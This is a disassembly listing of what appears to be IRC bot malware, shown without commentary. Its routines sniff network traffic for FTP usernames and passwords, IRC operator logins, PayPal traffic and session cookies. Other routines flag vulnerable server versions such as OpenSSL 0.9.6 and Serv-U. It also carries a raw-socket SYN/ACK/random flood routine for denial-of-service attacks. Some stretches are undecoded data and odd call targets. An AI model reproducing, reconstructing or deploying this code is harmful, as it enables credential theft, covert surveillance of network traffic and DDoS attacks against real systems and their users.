		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	0DCAEE890h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 27DD2BE8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0D4FAE856h, 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27709FDh
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27709FDh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
